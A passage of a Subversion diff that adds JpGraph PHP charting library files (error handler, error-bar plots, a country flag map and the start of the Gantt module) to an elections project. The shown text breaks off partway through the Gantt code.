+    public static function RaiseL($errnbr,$a1=null,$a2=null,$a3=null,$a4=null,$a5=null) {
+	$t = new ErrMsgText();
+	$msg = $t->Get($errnbr,$a1,$a2,$a3,$a4,$a5);
+	self::$__jpg_err->Raise($msg);
+    }
+}
+
+//
+// First of all set up a default error handler
+//
+
+//=============================================================
+// The default trivial text error handler.
+//=============================================================
+class JpGraphErrObject {
+
+    protected $iTitle = "JpGraph Error";
+    protected $iDest = false;
+
+
+    function JpGraphErrObject() {
+	// Empty. Reserved for future use
+    }
+
+    function SetTitle($aTitle) {
+	$this->iTitle = $aTitle;
+    }
+
+    function SetStrokeDest($aDest) { 
+	$this->iDest = $aDest; 
+    }
+
+    // If aHalt is true then execution can't continue. Typical used for fatal errors
+    function Raise($aMsg,$aHalt=true) {
+	$aMsg = $this->iTitle.' '.$aMsg;
+	if ($this->iDest) {
+	    $f = @fopen($this->iDest,'a');
+	    if( $f ) {
+		@fwrite($f,$aMsg);
+		@fclose($f);
+	    }
+	}
+	else {
+	    echo $aMsg;
+	}
+	if( $aHalt )
+	    die();
+    }
+}
+
+//==============================================================
+// An image based error handler
+//==============================================================
+class JpGraphErrObjectImg extends JpGraphErrObject {
+
+    function Raise($aMsg,$aHalt=true) {
+	$img_iconerror = 
+	    'iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAMAAAC7IEhfAAAAaV'.
+	    'BMVEX//////2Xy8mLl5V/Z2VvMzFi/v1WyslKlpU+ZmUyMjEh/'.
+	    'f0VyckJlZT9YWDxMTDjAwMDy8sLl5bnY2K/MzKW/v5yyspKlpY'.
+	    'iYmH+MjHY/PzV/f2xycmJlZVlZWU9MTEXY2Ms/PzwyMjLFTjea'.
+	    'AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACx'.
+	    'IAAAsSAdLdfvwAAAAHdElNRQfTBgISOCqusfs5AAABLUlEQVR4'.
+	    '2tWV3XKCMBBGWfkranCIVClKLd/7P2Q3QsgCxjDTq+6FE2cPH+'.
+	    'xJ0Ogn2lQbsT+Wrs+buAZAV4W5T6Bs0YXBBwpKgEuIu+JERAX6'.
+	    'wM2rHjmDdEITmsQEEmWADgZm6rAjhXsoMGY9B/NZBwJzBvn+e3'.
+	    'wHntCAJdGu9SviwIwoZVDxPB9+Rc0TSEbQr0j3SA1gwdSn6Db0'.
+	    '6Tm1KfV6yzWGQO7zdpvyKLKBDmRFjzeB3LYgK7r6A/noDAfjtS'.
+	    'IXaIzbJSv6WgUebTMV4EoRB8a2mQiQjgtF91HdKDKZ1gtFtQjk'.
+	    'YcWaR5OKOhkYt+ZsTFdJRfPAApOpQYJTNHvCRSJR6SJngQadfc'.
+	    'vd69OLMddVOPCGVnmrFD8bVYd3JXfxXPtLR/+mtv59/ALWiiMx'.
+	    'qL72fwAAAABJRU5ErkJggg==' ;
+
+	if( function_exists("imagetypes") )
+	    $supported = imagetypes();
+	else
+	    $supported = 0;
+
+	if( !function_exists('imagecreatefromstring') )
+	    $supported = 0;
+
+	if( ob_get_length() || headers_sent() || !($supported & IMG_PNG) ) {
+	    // Special case for headers already sent or that the installation doesn't support
+	    // the PNG format (which the error icon is encoded in). 
+	    // Dont return an image since it can't be displayed
+	    die($this->iTitle.' '.$aMsg);		
+	}
+
+	$aMsg = wordwrap($aMsg,55);
+	$lines = substr_count($aMsg,"\n");
+
+	// Create the error icon GD
+	$erricon = Image::CreateFromString(base64_decode($img_iconerror));   
+
+	// Create an image that contains the error text.
+	$w=400; 	
+	$h=100 + 15*max(0,$lines-3);
+
+	$img = new Image($w,$h);
+
+
+	// Drop shadow
+	$img->SetColor("gray");
+	$img->FilledRectangle(5,5,$w-1,$h-1,10);
+	$img->SetColor("gray:0.7");
+	$img->FilledRectangle(5,5,$w-3,$h-3,10);
+	
+	// Window background
+	$img->SetColor("lightblue");
+	$img->FilledRectangle(1,1,$w-5,$h-5);
+	$img->CopyCanvasH($img->img,$erricon,5,30,0,0,40,40);
+
+	// Window border
+	$img->SetColor("black");
+	$img->Rectangle(1,1,$w-5,$h-5);
+	$img->Rectangle(0,0,$w-4,$h-4);
+	
+	// Window top row
+	$img->SetColor("darkred");
+	for($y=3; $y < 18; $y += 2 ) 
+	    $img->Line(1,$y,$w-6,$y);
+
+	// "White shadow"
+	$img->SetColor("white");
+
+	// Left window edge
+	$img->Line(2,2,2,$h-5);
+	$img->Line(2,2,$w-6,2);
+
+	// "Gray button shadow"
+	$img->SetColor("darkgray");
+
+	// Gray window shadow
+	$img->Line(2,$h-6,$w-5,$h-6);
+	$img->Line(3,$h-7,$w-5,$h-7);
+
+	// Window title
+	$m = floor($w/2-5);
+	$l = 100;
+	$img->SetColor("lightgray:1.3");
+	$img->FilledRectangle($m-$l,2,$m+$l,16);
+
+	// Stroke text
+	$img->SetColor("darkred");
+	$img->SetFont(FF_FONT2,FS_BOLD);
+	$img->StrokeText($m-50,15,$this->iTitle);
+	$img->SetColor("black");
+	$img->SetFont(FF_FONT1,FS_NORMAL);
+	$txt = new Text($aMsg,52,25);
+	$txt->Align("left","top");
+	$txt->Stroke($img);
+	if ($this->iDest) {
+           $img->Stream($this->iDest);
+	} else {
+	    $img->Headers();
+	    $img->Stream();
+	}
+	if( $aHalt )
+	    die();
+    }
+}
+
+
+// Install the default error handler
+if( USE_IMAGE_ERROR_HANDLER ) {
+    JpGraphError::Install("JpGraphErrObjectImg");
+}
+else {
+    JpGraphError::Install("JpGraphErrObject");
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_error.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_error.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_error.php	(revision 44)
@@ -0,0 +1,156 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_ERROR.PHP
+// Description:	Error plot extension for JpGraph
+// Created: 	2001-01-08
+// Ver:		$Id: jpgraph_error.php 781 2006-10-08 08:07:47Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+//===================================================
+// CLASS ErrorPlot
+// Description: Error plot with min/max value for
+// each datapoint
+//===================================================
+class ErrorPlot extends Plot {
+    private $errwidth=2;
+//---------------
+// CONSTRUCTOR
+    function ErrorPlot($datay,$datax=false) {
+	$this->Plot($datay,$datax);
+	$this->numpoints /= 2;
+    }
+//---------------
+// PUBLIC METHODS
+	
+    // Gets called before any axis are stroked
+    function PreStrokeAdjust($graph) {
+	if( $this->center ) {
+	    $a=0.5; $b=0.5;
+	    ++$this->numpoints;			
+	} else {
+	    $a=0; $b=0;
+	}
+	$graph->xaxis->scale->ticks->SetXLabelOffset($a);
+	$graph->SetTextScaleOff($b);						
+	//$graph->xaxis->scale->ticks->SupressMinorTickMarks();
+    }
+	
+    // Method description
+    function Stroke($img,$xscale,$yscale) {
+	$numpoints=count($this->coords[0])/2;
+	$img->SetColor($this->color);
+	$img->SetLineWeight($this->weight);	
+
+	if( isset($this->coords[1]) ) {
+	    if( count($this->coords[1])!=$numpoints )
+		JpGraphError::RaiseL(2003,count($this->coords[1]),$numpoints);
+//("Number of X and Y points are not equal. Number of X-points:".count($this->coords[1])." Number of Y-points:$numpoints");
+	    else
+		$exist_x = true;
+	}
+	else 
+	    $exist_x = false;
+
+	for( $i=0; $i<$numpoints; ++$i) {
+	    if( $exist_x ) 
+		$x=$this->coords[1][$i];
+	    else 
+		$x=$i;
+
+	    if( !is_numeric($x) ||  
+		!is_numeric($this->coords[0][$i*2]) || !is_numeric($this->coords[0][$i*2+1]) ) {
+		continue;
+	    }
+
+	    $xt = $xscale->Translate($x);
+	    $yt1 = $yscale->Translate($this->coords[0][$i*2]);
+	    $yt2 = $yscale->Translate($this->coords[0][$i*2+1]);
+	    $img->Line($xt,$yt1,$xt,$yt2);
+	    $img->Line($xt-$this->errwidth,$yt1,$xt+$this->errwidth,$yt1);
+	    $img->Line($xt-$this->errwidth,$yt2,$xt+$this->errwidth,$yt2);
+	}			
+	return true;
+    }
+} // Class
+
+
+//===================================================
+// CLASS ErrorLinePlot
+// Description: Combine a line and error plot
+// THIS IS A DEPRECATED PLOT TYPE JUST KEPT FOR
+// BACKWARD COMPATIBILITY
+//===================================================
+class ErrorLinePlot extends ErrorPlot {
+    public $line=null;
+//---------------
+// CONSTRUCTOR
+    function ErrorLinePlot($datay,$datax=false) {
+	$this->ErrorPlot($datay,$datax);
+	// Calculate line coordinates as the average of the error limits
+	$n = count($datay);
+	for($i=0; $i < $n; $i+=2 ) {
+	    $ly[]=($datay[$i]+$datay[$i+1])/2;
+	}		
+	$this->line=new LinePlot($ly,$datax);
+    }
+
+//---------------
+// PUBLIC METHODS
+    function Legend($graph) {
+	if( $this->legend != "" )
+	    $graph->legend->Add($this->legend,$this->color);
+	$this->line->Legend($graph);
+    }
+			
+    function Stroke($img,$xscale,$yscale) {
+	parent::Stroke($img,$xscale,$yscale);
+	$this->line->Stroke($img,$xscale,$yscale);
+    }
+} // Class
+
+
+//===================================================
+// CLASS LineErrorPlot
+// Description: Combine a line and error plot
+//===================================================
+class LineErrorPlot extends ErrorPlot {
+    public $line=null;
+//---------------
+// CONSTRUCTOR
+    // Data is (val, errdeltamin, errdeltamax)
+    function LineErrorPlot($datay,$datax=false) {
+	$ly=array(); $ey=array();
+	$n = count($datay);
+	if( $n % 3 != 0 ) {
+	    JpGraphError::RaiseL(4002);
+//('Error in input data to LineErrorPlot. Number of data points must be a multiple of 3');
+	}
+	for($i=0; $i < $n; $i+=3 ) {
+	    $ly[]=$datay[$i];
+	    $ey[]=$datay[$i]+$datay[$i+1];
+	    $ey[]=$datay[$i]+$datay[$i+2];
+	}		
+	$this->ErrorPlot($ey,$datax);
+	$this->line=new LinePlot($ly,$datax);
+    }
+
+//---------------
+// PUBLIC METHODS
+    function Legend($graph) {
+	if( $this->legend != "" )
+	    $graph->legend->Add($this->legend,$this->color);
+	$this->line->Legend($graph);
+    }
+			
+    function Stroke($img,$xscale,$yscale) {
+	parent::Stroke($img,$xscale,$yscale);
+	$this->line->Stroke($img,$xscale,$yscale);
+    }
+} // Class
+
+
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_flags.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_flags.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_flags.php	(revision 44)
@@ -0,0 +1,376 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_FLAGS.PHP
+// Description:	Class Jpfile. Handles plotmarks
+// Created: 	2003-06-28
+// Ver:		$Id: jpgraph_flags.php 957 2007-12-01 14:00:29Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+//------------------------------------------------------------
+// Defines for the different basic sizes of flags
+//------------------------------------------------------------
+DEFINE('FLAGSIZE1',1);
+DEFINE('FLAGSIZE2',2);
+DEFINE('FLAGSIZE3',3);
+DEFINE('FLAGSIZE4',4);
+
+class FlagImages {
+
+    public $iCountryNameMap = array(
+    'Afghanistan' => 'afgh',
+    'Republic of Angola' => 'agla',
+    'Republic of Albania' => 'alba',
+    'Alderney' => 'alde',
+    'Democratic and Popular Republic of Algeria' => 'alge',
+    'Territory of American Samoa' => 'amsa',
+    'Principality of Andorra' => 'andr',
+    'British Overseas Territory of Anguilla' => 'angu',
+    'Antarctica' => 'anta',
+    'Argentine Republic' => 'arge',
+    'League of Arab States' => 'arle',
+    'Republic of Armenia' => 'arme',
+    'Aruba' => 'arub',
+    'Commonwealth of Australia' => 'astl',
+    'Republic of Austria' => 'aust',
+    'Azerbaijani Republic' => 'azer',
+    'Bangladesh' => 'bngl',
+    'British Antarctic Territory' => 'bant',
+    'Kingdom of Belgium' => 'belg',
+    'British Overseas Territory of Bermuda' => 'berm',
+    'Commonwealth of the Bahamas' => 'bhms',
+    'Kingdom of Bahrain' => 'bhrn',
+    'Republic of Belarus' => 'blru',
+    'Republic of Bolivia' => 'blva',
+    'Belize' => 'blze',
+    'Republic of Benin' => 'bnin',
+    'Republic of Botswana' => 'bots',
+    'Federative Republic of Brazil' => 'braz',
+    'Barbados' => 'brbd',
+    'British Indian Ocean Territory' => 'brin',
+    'Brunei Darussalam' => 'brun',
+    'Republic of Burkina' => 'bufa',
+    'Republic of Bulgaria' => 'bulg',
+    'Republic of Burundi' => 'buru',
+    'Overseas Territory of the British Virgin Islands' => 'bvis',
+    'Central African Republic' => 'cafr',
+    'Kingdom of Cambodia' => 'camb',
+    'Republic of Cameroon' => 'came',
+    'Dominion of Canada' => 'cana',
+    'Caribbean Community' => 'cari',
+    'Republic of Cape Verde' => 'cave',
+    'Republic of Chad' => 'chad',
+    'Republic of Chile' => 'chil',
+    'Peoples Republic of China' => 'chin',
+    'Territory of Christmas Island' => 'chms',
+    'Commonwealth of Independent States' => 'cins',
+    'Cook Islands' => 'ckis',
+    'Republic of Colombia' => 'clmb',
+    'Territory of Cocos Islands' => 'cois',
+    'Commonwealth' => 'comn',
+    'Union of the Comoros' => 'como',
+    'Republic of the Congo' => 'cong',
+    'Republic of Costa Rica' => 'corc',
+    'Republic of Croatia' => 'croa',
+    'Republic of Cuba' => 'cuba',
+    'British Overseas Territory of the Cayman Islands' => 'cyis',
+    'Republic of Cyprus' => 'cypr',
+    'The Czech Republic' => 'czec',
+    'Kingdom of Denmark' => 'denm',
+    'Republic of Djibouti' => 'djib',
+    'Commonwealth of Dominica' => 'domn',
+    'Dominican Republic' => 'dore',
+    'Republic of Ecuador' => 'ecua',
+    'Arab Republic of Egypt' => 'egyp',
+    'Republic of El Salvador' => 'elsa',
+    'England' => 'engl',
+    'Republic of Equatorial Guinea' => 'eqgu',
+    'State of Eritrea' => 'erit',
+    'Republic of Estonia' => 'estn',
+    'Ethiopia' => 'ethp',
+    'European Union' => 'euun',
+    'British Overseas Territory of the Falkland Islands' => 'fais',
+    'International Federation of Vexillological Associations' => 'fiav',
+    'Republic of Fiji' => 'fiji',
+    'Republic of Finland' => 'finl',
+    'Territory of French Polynesia' => 'fpol',
+    'French Republic' => 'fran',
+    'Overseas Department of French Guiana' => 'frgu',
+    'Gabonese Republic' => 'gabn',
+    'Republic of the Gambia' => 'gamb',
+    'Republic of Georgia' => 'geor',
+    'Federal Republic of Germany' => 'germ',
+    'Republic of Ghana' => 'ghan',
+    'Gibraltar' => 'gibr',
+    'Hellenic Republic' => 'grec',
+    'State of Grenada' => 'gren',
+    'Overseas Department of Guadeloupe' => 'guad',
+    'Territory of Guam' => 'guam',
+    'Republic of Guatemala' => 'guat',
+    'The Bailiwick of Guernsey' => 'guer',
+    'Republic of Guinea' => 'guin',
+    'Republic of Haiti' => 'hait',
+    'Hong Kong Special Administrative Region' => 'hokn',
+    'Republic of Honduras' => 'hond',
+    'Republic of Hungary' => 'hung',
+    'Republic of Iceland' => 'icel',
+    'International Committee of the Red Cross' => 'icrc',
+    'Republic of India' => 'inda',
+    'Republic of Indonesia' => 'indn',
+    'Republic of Iraq' => 'iraq',
+    'Republic of Ireland' => 'irel',
+    'Organization of the Islamic Conference' => 'isco',
+    'Isle of Man' => 'isma',
+    'State of Israel' => 'isra',
+    'Italian Republic' => 'ital',
+    'Jamaica' => 'jama',
+    'Japan' => 'japa',
+    'The Bailiwick of Jersey' => 'jers',
+    'Hashemite Kingdom of Jordan' => 'jord',
+    'Republic of Kazakhstan' => 'kazk',
+    'Republic of Kenya' => 'keny',
+    'Republic of Kiribati' => 'kirb',
+    'State of Kuwait' => 'kuwa',
+    'Kyrgyz Republic' => 'kyrg',
+    'Republic of Latvia' => 'latv',
+    'Lebanese Republic' => 'leba',
+    'Kingdom of Lesotho' => 'lest',
+    'Republic of Liberia' => 'libe',
+    'Principality of Liechtenstein' => 'liec',
+    'Republic of Lithuania' => 'lith',
+    'Grand Duchy of Luxembourg' => 'luxe',
+    'Macao Special Administrative Region' => 'maca',
+    'Republic of Macedonia' => 'mace',
+    'Republic of Madagascar' => 'mada',
+    'Republic of the Marshall Islands' => 'mais',
+    'Republic of Mali' => 'mali',
+    'Federation of Malaysia' => 'mals',
+    'Republic of Malta' => 'malt',
+    'Republic of Malawi' => 'malw',
+    'Overseas Department of Martinique' => 'mart',
+    'Islamic Republic of Mauritania' => 'maur',
+    'Territorial Collectivity of Mayotte' => 'mayt',
+    'United Mexican States' => 'mexc',
+    'Federated States of Micronesia' => 'micr',
+    'Midway Islands' => 'miis',
+    'Republic of Moldova' => 'mold',
+    'Principality of Monaco' => 'mona',
+    'Republic of Mongolia' => 'mong',
+    'British Overseas Territory of Montserrat' => 'mont',
+    'Kingdom of Morocco' => 'morc',
+    'Republic of Mozambique' => 'moza',
+    'Republic of Mauritius' => 'mrts',
+    'Union of Myanmar' => 'myan',
+    'Republic of Namibia' => 'namb',
+    'North Atlantic Treaty Organization' => 'nato',
+    'Republic of Nauru' => 'naur',
+    'Turkish Republic of Northern Cyprus' => 'ncyp',
+    'Netherlands Antilles' => 'nean',
+    'Kingdom of Nepal' => 'nepa',
+    'Kingdom of the Netherlands' => 'neth',
+    'Territory of Norfolk Island' => 'nfis',
+    'Federal Republic of Nigeria' => 'ngra',
+    'Republic of Nicaragua' => 'nica',
+    'Republic of Niger' => 'nigr',
+    'Niue' => 'niue',
+    'Commonwealth of the Northern Mariana Islands' => 'nmar',
+    'Province of Northern Ireland' => 'noir',
+    'Nordic Council' => 'nord',
+    'Kingdom of Norway' => 'norw',
+    'Territory of New Caledonia and Dependencies' => 'nwca',
+    'New Zealand' => 'nwze',
+    'Organization of American States' => 'oast',
+    'Organization of African Unity' => 'oaun',
+    'International Olympic Committee' => 'olym',
+    'Sultanate of Oman' => 'oman',
+    'Islamic Republic of Pakistan' => 'paks',
+    'Republic of Palau' => 'pala',
+    'Independent State of Papua New Guinea' => 'pang',
+    'Republic of Paraguay' => 'para',
+    'Republic of Peru' => 'peru',
+    'Republic of the Philippines' => 'phil',
+    'British Overseas Territory of the Pitcairn Islands' => 'piis',
+    'Republic of Poland' => 'pola',
+    'Republic of Portugal' => 'port',
+    'Commonwealth of Puerto Rico' => 'purc',
+    'State of Qatar' => 'qata',
+    'Russian Federation' => 'russ',
+    'Romania' => 'rmna',
+    'Republic of Rwanda' => 'rwan',
+    'Kingdom of Saudi Arabia' => 'saar',
+    'Republic of San Marino' => 'sama',
+    'Nordic Sami Conference' => 'sami',
+    'Sark' => 'sark',
+    'Scotland' => 'scot',
+    'Principality of Seborga' => 'sebo',
+    'Republic of Serbia' => 'serb',
+    'Republic of Sierra Leone' => 'sile',
+    'Republic of Singapore' => 'sing',
+    'Republic of Korea' => 'skor',
+    'Republic of Slovenia' => 'slva',
+    'Somali Republic' => 'smla',
+    'Republic of Somaliland' => 'smld',
+    'Republic of South Africa' => 'soaf',
+    'Solomon Islands' => 'sois',
+    'Kingdom of Spain' => 'span',
+    'Secretariat of the Pacific Community' => 'spco',
+    'Democratic Socialist Republic of Sri Lanka' => 'srla',
+    'Saint Lucia' => 'stlu',
+    'Republic of the Sudan' => 'suda',
+    'Republic of Suriname' => 'surn',
+    'Slovak Republic' => 'svka',
+    'Kingdom of Sweden' => 'swdn',
+    'Swiss Confederation' => 'swit',
+    'Syrian Arab Republic' => 'syra',
+    'Kingdom of Swaziland' => 'szld',
+    'Republic of China' => 'taiw',
+    'Taiwan' => 'taiw',
+    'Republic of Tajikistan' => 'tajk',
+    'United Republic of Tanzania' => 'tanz',
+    'Kingdom of Thailand' => 'thal',
+    'Autonomous Region of Tibet' => 'tibe',
+    'Turkmenistan' => 'tkst',
+    'Togolese Republic' => 'togo',
+    'Tokelau' => 'toke',
+    'Kingdom of Tonga' => 'tong',
+    'Tristan da Cunha' => 'trdc',
+    'Tromelin' => 'tris',
+    'Republic of Tunisia' => 'tuns',
+    'Republic of Turkey' => 'turk',
+    'Tuvalu' => 'tuva',
+    'United Arab Emirates' => 'uaem',
+    'Republic of Uganda' => 'ugan',
+    'Ukraine' => 'ukrn',
+    'United Kingdom of Great Britain' => 'unkg',
+    'United Nations' => 'unna',
+    'United States of America' => 'unst',
+    'Oriental Republic of Uruguay' => 'urgy',
+    'Virgin Islands of the United States' => 'usvs',
+    'Republic of Uzbekistan' => 'uzbk',
+    'State of the Vatican City' => 'vacy',
+    'Republic of Vanuatu' => 'vant',
+    'Bolivarian Republic of Venezuela' => 'venz',
+    'Republic of Yemen' => 'yemn',
+    'Democratic Republic of Congo' => 'zare',
+    'Republic of Zimbabwe' => 'zbwe' ) ;
+
+
+    private $iFlagCount = -1;
+    private $iFlagSetMap = array(
+	FLAGSIZE1 => 'flags_thumb35x35',
+	FLAGSIZE2 => 'flags_thumb60x60',
+	FLAGSIZE3 => 'flags_thumb100x100',
+	FLAGSIZE4 => 'flags'
+	);
+
+    private $iFlagData ;
+    private $iOrdIdx=array();
+
+    function FlagImages($aSize=FLAGSIZE1) {
+	switch($aSize) {
+	    case FLAGSIZE1 :
+	    case FLAGSIZE2 :
+	    case FLAGSIZE3 :
+	    case FLAGSIZE4 :
+		$file = dirname(__FILE__).'/'.$this->iFlagSetMap[$aSize].'.dat';
+		$fp = fopen($file,'rb');
+		$rawdata = fread($fp,filesize($file));
+		$this->iFlagData = unserialize($rawdata);
+	    break;
+	    default:
+		JpGraphError::RaiseL(5001,$aSize);
+//('Unknown flag size. ('.$aSize.')');
+	}
+	$this->iFlagCount = count($this->iCountryNameMap);
+    }
+
+    function GetNum() {
+	return $this->iFlagCount;
+    }
+
+    function GetImgByName($aName,&$outFullName) {
+	$idx = $this->GetIdxByName($aName,$outFullName);
+	return $this->GetImgByIdx($idx);
+    }
+
+    function GetImgByIdx($aIdx) {
+	if( array_key_exists($aIdx,$this->iFlagData) ) {
+	    $d = $this->iFlagData[$aIdx][1];   
+	    return Image::CreateFromString($d);   
+	}
+	else {
+	    JpGraphError::RaiseL(5002,$aIdx);
+//("Flag index \" $aIdx\" does not exist.");
+	}
+    }
+
+    function GetIdxByOrdinal($aOrd,&$outFullName) {
+	$aOrd--;
+	$n = count($this->iOrdIdx);
+	if( $n == 0 ) {
+	    reset($this->iCountryNameMap);
+	    $this->iOrdIdx=array();
+	    $i=0;
+	    while( list($key,$val) = each($this->iCountryNameMap) ) {
+		$this->iOrdIdx[$i++] = array($val,$key);
+	    }
+	    $tmp=$this->iOrdIdx[$aOrd];
+	    $outFullName = $tmp[1];
+	    return $tmp[0];
+	    
+	}
+	elseif( $aOrd >= 0 && $aOrd < $n ) {
+	    $tmp=$this->iOrdIdx[$aOrd];
+	    $outFullName = $tmp[1];
+	    return $tmp[0];
+	}
+	else {
+	    JpGraphError::RaiseL(5003,$aOrd);
+//('Invalid ordinal number specified for flag index.');
+	}
+    }
+
+    function GetIdxByName($aName,&$outFullName) {
+
+	if( is_integer($aName) ) {
+	    $idx = $this->GetIdxByOrdinal($aName,$outFullName);
+	    return $idx;
+	}
+
+	$found=false;
+	$aName = strtolower($aName);
+	$nlen = strlen($aName);
+	reset($this->iCountryNameMap);
+	// Start by trying to match exact index name
+	while( list($key,$val) = each($this->iCountryNameMap) ) {
+	    if( $nlen == strlen($val) && $val == $aName )  {
+		$found=true;
+		break;
+	    }
+	}
+	if( !$found ) {
+	    reset($this->iCountryNameMap);
+	    // If the exact index doesn't work try a (partial) full name
+	    while( list($key,$val) = each($this->iCountryNameMap) ) {
+		if( strpos(strtolower($key), $aName) !== false ) {
+		    $found=true;
+		    break;
+		}
+	    }
+	}
+	if( $found ) {
+	    $outFullName = $key;
+	    return $val;   
+	}
+	else { 
+	    JpGraphError::RaiseL(5004,$aName);
+//("The (partial) country name \"$aName\" does not have a cooresponding flag image. The flag may still exist but under another name, e.g. insted of \"usa\" try \"united states\".");
+	}
+    }
+}
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gantt.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gantt.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gantt.php	(revision 44)
@@ -0,0 +1,3803 @@
+<?php
+/*=======================================================================
+// File:	JPGRAPH_GANTT.PHP
+// Description:	JpGraph Gantt plot extension
+// Created: 	2001-11-12
+// Ver:		$Id: jpgraph_gantt.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+require_once('jpgraph_plotband.php'); 
+require_once('jpgraph_iconplot.php'); 
+require_once('jpgraph_plotmark.inc.php');
+
+// Maximum size for Automatic Gantt chart
+define('MAX_GANTTIMG_SIZE_W',4000);
+define('MAX_GANTTIMG_SIZE_H',5000);
+
+// Scale Header types
+define("GANTT_HDAY",1);
+define("GANTT_HWEEK",2);
+define("GANTT_HMONTH",4);
+define("GANTT_HYEAR",8);
+define("GANTT_HHOUR",16);
+define("GANTT_HMIN",32);
+
+// Bar patterns
+define("GANTT_RDIAG",BAND_RDIAG);	// Right diagonal lines
+define("GANTT_LDIAG",BAND_LDIAG); // Left diagonal lines
+define("GANTT_SOLID",BAND_SOLID); // Solid one color
+define("GANTT_VLINE",BAND_VLINE); // Vertical lines
+define("GANTT_HLINE",BAND_HLINE);  // Horizontal lines
+define("GANTT_3DPLANE",BAND_3DPLANE);  // "3D" Plane
+define("GANTT_HVCROSS",BAND_HVCROSS);  // Vertical/Hor crosses
+define("GANTT_DIAGCROSS",BAND_DIAGCROSS); // Diagonal crosses
+
+// Conversion constant
+define("SECPERDAY",3600*24);
+
+// Locales. ONLY KEPT FOR BACKWARDS COMPATIBILITY
+// You should use the proper locale strings directly 
+// from now on. 
+define("LOCALE_EN","en_UK");
+define("LOCALE_SV","sv_SE");
+
+// Layout of bars
+define("GANTT_EVEN",1);
+define("GANTT_FROMTOP",2);
+
+// Style for minute header
+define("MINUTESTYLE_MM",0);		// 15
+define("MINUTESTYLE_CUSTOM",2);		// Custom format
+
+
+// Style for hour header
+define("HOURSTYLE_HM24",0);		// 13:10
+define("HOURSTYLE_HMAMPM",1);		// 1:10pm
+define("HOURSTYLE_H24",2);		// 13
+define("HOURSTYLE_HAMPM",3);		// 1pm
+define("HOURSTYLE_CUSTOM",4);		// User defined
+
+// Style for day header
+define("DAYSTYLE_ONELETTER",0);		// "M"
+define("DAYSTYLE_LONG",1);		// "Monday"
+define("DAYSTYLE_LONGDAYDATE1",2);	// "Monday 23 Jun"
+define("DAYSTYLE_LONGDAYDATE2",3);	// "Monday 23 Jun 2003"
+define("DAYSTYLE_SHORT",4);		// "Mon"
+define("DAYSTYLE_SHORTDAYDATE1",5);	// "Mon 23/6"
+define("DAYSTYLE_SHORTDAYDATE2",6);	// "Mon 23 Jun"
+define("DAYSTYLE_SHORTDAYDATE3",7);	// "Mon 23"
+define("DAYSTYLE_SHORTDATE1",8);	// "23/6"
+define("DAYSTYLE_SHORTDATE2",9);	// "23 Jun"
+define("DAYSTYLE_SHORTDATE3",10);	// "Mon 23"
+define("DAYSTYLE_SHORTDATE4",11);	// "23"
+define("DAYSTYLE_CUSTOM",12);		// "M"
+
+// Styles for week header
+define("WEEKSTYLE_WNBR",0);
+define("WEEKSTYLE_FIRSTDAY",1);
+define("WEEKSTYLE_FIRSTDAY2",2);
+define("WEEKSTYLE_FIRSTDAYWNBR",3);
+define("WEEKSTYLE_FIRSTDAY2WNBR",4);
+
+// Styles for month header
+define("MONTHSTYLE_SHORTNAME",0);
+define("MONTHSTYLE_LONGNAME",1);
+define("MONTHSTYLE_LONGNAMEYEAR2",2);
+define("MONTHSTYLE_SHORTNAMEYEAR2",3);
+define("MONTHSTYLE_LONGNAMEYEAR4",4);
+define("MONTHSTYLE_SHORTNAMEYEAR4",5);
+define("MONTHSTYLE_FIRSTLETTER",6);
+
+
+// Types of constrain links
+define('CONSTRAIN_STARTSTART',0);
+define('CONSTRAIN_STARTEND',1);
+define('CONSTRAIN_ENDSTART',2);
+define('CONSTRAIN_ENDEND',3);
+
+// Arrow direction for constrain links
+define('ARROW_DOWN',0);
+define('ARROW_UP',1);
+define('ARROW_LEFT',2);
+define('ARROW_RIGHT',3);
+
+// Arrow type for constrain type
+define('ARROWT_SOLID',0);
+define('ARROWT_OPEN',1);
+
+// Arrow size for constrain lines
+define('ARROW_S1',0);
+define('ARROW_S2',1);
+define('ARROW_S3',2);
+define('ARROW_S4',3);
+define('ARROW_S5',4);
+
+// Activity types for use with utility method CreateSimple()
+define('ACTYPE_NORMAL',0);
+define('ACTYPE_GROUP',1);
+define('ACTYPE_MILESTONE',2);
+
+define('ACTINFO_3D',1);
+define('ACTINFO_2D',0);
+
+
+// Check if array_fill() exists
+if (!function_exists('array_fill')) {
+    function array_fill($iStart, $iLen, $vValue) {
+	$aResult = array();
+	for ($iCount = $iStart; $iCount < $iLen + $iStart; $iCount++) {
+	    $aResult[$iCount] = $vValue;
+	}
+	return $aResult;
+    }
+}
+
+//===================================================
+// CLASS GanttActivityInfo
+// Description: 
+//===================================================
+class GanttActivityInfo {
+    public $iShow=true;
+    public $iLeftColMargin=4,$iRightColMargin=1,$iTopColMargin=1,$iBottomColMargin=3;
+    public $vgrid = null;
+    private $iColor='black';
+    private $iBackgroundColor='lightgray';
+    private $iFFamily=FF_FONT1,$iFStyle=FS_NORMAL,$iFSize=10,$iFontColor='black';
+    private $iTitles=array();
+    private $iWidth=array(),$iHeight=-1;
+    private $iTopHeaderMargin = 4;
+    private $iStyle=1;
+    private $iHeaderAlign='center';
+
+    function GanttActivityInfo() {
+	$this->vgrid = new LineProperty();
+    }
+
+    function Hide($aF=true) {
+	$this->iShow=!$aF;
+    }
+
+    function Show($aF=true) {
